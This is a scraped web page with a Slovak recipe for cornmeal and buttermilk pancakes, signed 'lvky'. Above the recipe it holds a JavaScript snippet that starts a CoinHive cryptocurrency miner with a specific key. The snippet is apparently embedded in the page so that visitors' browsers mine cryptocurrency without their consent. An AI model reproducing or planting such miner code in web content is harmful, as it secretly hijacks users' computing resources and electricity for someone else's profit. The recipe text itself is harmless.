

```
var miner = new  
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU  
D87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();
```

Suroviny: 140g kukuričnej múky, 1 lyžica Promix Unik/Pk, 1 lyžička prášku do pečiva, soľ, 2 vajcia, 450 ml cmaru, olej. Do misky dáme kukuričnú a Promix múku, prášok do pečiva, 2 žĺtky, cmar a zmiešame. Necháme 20 minút postáť, potom primiešame sneh z 2 bielkov. Na panvicu potretú olejom dáme placku z dvoch lyžíc cesta a opečieme z oboch strán. Chuť vylepšíme pridaním postrúhaného eidamu, nasekanou paprikou alebo orestovaným kuracím mäsom. Placky sa podávajú so zeleninovým šalátom.

Niečo na zahryznutie od lvky.